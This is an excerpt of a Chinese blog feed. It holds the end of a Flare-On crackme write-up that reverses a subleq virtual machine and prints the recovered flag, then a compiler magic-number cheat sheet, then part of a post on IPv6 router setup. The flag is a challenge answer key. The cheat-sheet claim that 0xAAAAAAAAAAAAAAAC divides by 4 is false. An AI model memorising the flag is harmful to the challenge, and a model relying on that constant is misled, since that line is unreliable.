&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;    char&lt;&#x2F;span&gt;&lt;span&gt; ROM_PART_B[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;F04&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;          &#x2F;&#x2F; an index number at 00403448 will be changed upon start&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;    char&lt;&#x2F;span&gt;&lt;span&gt; RAM_PART_B[OTHER_RAM_SIZE]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt; &#x2F;&#x2F; all other contents&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; sub_401070&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    VM&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;    vm_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    uint32 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;vm_mem_size&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    uint32 vm_start_point&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;vCPU的指令长度是3字节（24bit，不是21bit，真不是clemency架构）。VMM也很好描述：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;while&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; True&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    mem[inst[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; -=&lt;&#x2F;span&gt;&lt;span&gt; mem[inst[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span&gt; inst[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt; # conditional jump&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span&gt; mem[inst[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;lt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;            jmp&lt;&#x2F;span&gt;&lt;span&gt;(inst[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;            continue&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;    process_sys_call&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    cursor&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意，这里我们还是在用32-bit的视角去看。然而vCPU是在24bit的世界的。所以下面我会用&lt;code&gt;1420&lt;&#x2F;code&gt;代表32bit内存中的偏移量，基地址是&lt;code&gt;0x403008&lt;&#x2F;code&gt;，而同样的地址在24bit下表示为&lt;code&gt;@508&lt;&#x2F;code&gt;。换算方法是：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;508&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;403008&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;403008&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1420&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;404428&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;vCPU只提供了sub和jmp，这样的话追踪和逆向麻烦很多。函数调用约定类似于&lt;code&gt;__cdecl&lt;&#x2F;code&gt;，对指针的解引用用的方法差不多是SMC。&lt;&#x2F;p&gt;
&lt;p&gt;现在我们知道了参数传递、指令集、寄存器、SFR、内存布局和取地址&#x2F;数据方式，那么剩下的事情多多少少好办一点。&lt;&#x2F;p&gt;
&lt;p&gt;为了更详细的了解这个程序的运行过程，做几个断点：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# Code break points to monitor jumps&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;bp 0x4010af&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;bpcnd 0x4010af, &amp;quot;dword(esp+c) &amp;amp;&amp;amp; (dword(dword(esp+8)+dword(esp+0)) - dword(dword(esp+4)+dword(esp+0))) &amp;lt;= 0 &amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;bplog 0x4010af, &amp;quot;jmp from {p:dword(ebp-8)} =&amp;gt; {p:dword(ebp-8)*4+dword(esp+0)} to {p:dword(esp+c)} =&amp;gt; {p:dword(esp+C)*4+dword(esp+0)}&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;SetBreakpointCommand 0x4010af, &amp;quot;g;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# Memory access br. Reading hint offsets and hits. This helps to find where is `puts`&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Address=00403458&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Summary=access(dword), log(&amp;quot;READ HINT OFFSET&amp;quot;), cmd(&amp;quot;g&amp;quot;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Address=00403710&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Summary=access(byte), log(&amp;quot;READ HINT&amp;quot;), cmd(&amp;quot;g&amp;quot;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;trace记录在压缩包中可以看到。分析后发现，这个程序涉及flag验证的虚指令长度大概为1k条左右。考虑到这种虚拟方式对编码的影响，实际映射到x86上顶多300条汇编（取地址膨胀率5:1，数值操作膨胀率3:1，跳转膨胀率2:1），折算到C语言没几行，因此加密算法应该极其简单。&lt;&#x2F;p&gt;
&lt;p&gt;多次尝试后（看我的trace记录就能看到这个多次尝试的过程），可以知道密钥算法是：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; input&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt; # Two bytes per time&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    assert&lt;&#x2F;span&gt;&lt;span&gt;( (a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;F&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;^&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;7F&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span&gt; arr[cnt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D95757;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;] )&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;  # cnt from 0, and arr is at @e9c with 16 long ints&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;直接写脚本：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;In [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;104&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;@flare-on.com&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;join&lt;&#x2F;span&gt;&lt;span&gt;([&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%c%c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span&gt;(((i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;F&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt;(i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;7F&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;^&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;7F&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;220810&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 188179&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 193934&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 182430&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 211227&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 182413&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 193947&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 224668&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 222742&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 213152&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 186267&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 182430&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 188172&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 224653&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 192010&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 209407&lt;&#x2F;span&gt;&lt;span&gt;]])[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Out[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;104&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;#39;subleq_and_reductio_ad_absurdum@flare-on.com&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;提交于&lt;code&gt;October 11th, 5:34:07 PM CST&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>Those Magic Optimizations</title>
        <published>2017-08-19T00:00:00+00:00</published>
        <updated>2017-08-19T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/those-magic-compiler-optimization/"/>
        <id>https://blog.iret.xyz/posts/those-magic-compiler-optimization/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/those-magic-compiler-optimization/">&lt;p&gt;记录一些魔术、魔数和编译器优化指令。&lt;&#x2F;p&gt;
&lt;p&gt;速查手册，长期更新。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;chu-fa-bian-cheng-fa&quot;&gt;除法变乘法&lt;&#x2F;h2&gt;
&lt;p&gt;怕不是最常见的一种优化操作了。&lt;&#x2F;p&gt;
&lt;p&gt;关键字：GCC，G++，ARM64，除法，0xAAAAAAAAAAAAAAAB
用法：&lt;code&gt;result = -6148914691236517205LL * x;&lt;&#x2F;code&gt;
等价：&lt;code&gt;result = x&#x2F;3&lt;&#x2F;code&gt;
限制：64bit
要求：&lt;code&gt;x%3==0&lt;&#x2F;code&gt;，否则会产生一个超大的结果；&lt;&#x2F;p&gt;
&lt;p&gt;比如：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;常数是&lt;code&gt;0xAAAAAAAAAAAAAAAB&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;在64bit下，&lt;code&gt;0xAAAAAAAAAAAAAAAB*6=2&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;上述数值去掉一个A，就把运算空间限制到了63bit（也就是做有符号计算），但是作用似乎不大&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;同类常数还有：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0xAAAAAAAAAAAAAAAB -&amp;gt; &#x2F;3&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;0xAAAAAAAAAAAAAAAC -&amp;gt; &#x2F;4&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;0xCCCCCCCCCCCCCCCD -&amp;gt; &#x2F;5&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;0xE1BFE31AA3715387 -&amp;gt; &#x2F;567&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;参考&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;shines77&#x2F;p&#x2F;4189074.html&quot;&gt;在此&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;tiao-zhuan-biao&quot;&gt;跳转表&lt;&#x2F;h2&gt;
&lt;p&gt;这个……应该没有什么说的意义吧，密集+稀疏两种策略。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>菜鸡路由器拼装之路（3）：基于某网络现状的IPv6方案</title>
        <published>2017-05-05T00:00:00+00:00</published>
        <updated>2017-05-05T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/garbage-router-3/"/>
        <id>https://blog.iret.xyz/posts/garbage-router-3/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/garbage-router-3/">&lt;p&gt;长夜漫漫，等待Chrome源码编译，顺手写一下。&lt;&#x2F;p&gt;
&lt;p&gt;上一篇文章中，我们基本上把IPv4的网络配置好了，这篇文章就来说说IPv6的一些基础配置。同IPv4相比，IPv6给我们的本地网络配置带来了很多方便，为网间通信提出了一些新的方式，但是这并不意味着我们可以高枕无忧，因为很多时候，新特性你是用不上的……&lt;&#x2F;p&gt;
&lt;p&gt;不说废话，开搞。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zong-ti-si-lu&quot;&gt;总体思路&lt;&#x2F;h2&gt;
&lt;p&gt;首先要说，IPv6下的网络配置思路是和IPv4有所不同的。上一代网络中我们进行网络配置的时候，由于ISP分配的地址数量有限，因此我们通常都是按照内网联通-外网联通-NAT的思路来配置的。但是由于IPv6中有众多可用的地址，ISP通常可不以地址为单位进行分配，而可以为每位用户分配一个字网前缀，网内的主机使用Stateles或Stateful的地址自动配置方案，与公网之间通过防火墙隔离。这样做有很多好处，比如：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;硬件设计更容易，硬转发更容易&lt;&#x2F;li&gt;
&lt;li&gt;路由表设计更简单&lt;&#x2F;li&gt;
&lt;li&gt;减少了性能延迟&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;因此，对于IPv6网络，通常直接在启用转发功能后向网内主机通报一个前缀，之后的事情就不用处理了。&lt;&#x2F;p&gt;
&lt;p&gt;然而，对于我所在的IPv6环境，事情变得有点复杂。我们的接入系统并不会分配一个地址前缀，而是分配单个地址。即使你要求ISP分配一个前缀，返回的地址也是无法正常路由的。因此，我们不得不回到NAT的老路上……&lt;&#x2F;p&gt;
&lt;h2 id=&quot;nei-wang-pei-zhi&quot;&gt;内网配置&lt;&#x2F;h2&gt;
&lt;p&gt;内网准备使用&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;hlchang.com&#x2F;?p=217&quot;&gt;Stateful Autoconfiguration&lt;&#x2F;a&gt;。为了维护方便，仍然用dnsmasq作为DHCPv6服务端，我们在dnsmasq中添加一行：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;dhcp-option=option6:dns-server,[::]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;之后，我们去&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;unique-local-ipv6.com&#x2F;&quot;&gt;Unique Local IPv6 Generator&lt;&#x2F;a&gt;获取一个随机的字网前缀，这样得到的前缀不太容易和其他人相同。假设我们拿到了&lt;code&gt;fdeb:6802:6817::&#x2F;48&lt;&#x2F;code&gt;，那我现在打算设定子网为&lt;code&gt;fdeb:6802:6817:1433::&#x2F;64&lt;&#x2F;code&gt;，于是给&lt;code&gt;br0&lt;&#x2F;code&gt;分一个地址。修改&lt;code&gt;&#x2F;etc&#x2F;network&#x2F;interfaces&lt;&#x2F;code&gt;，加入：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;iface&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; br0 inet6 static&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;  # use prefix fdeb:6802:6817:1433::&#x2F;64&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;  address&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; fdeb:6802:6817:1433::1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
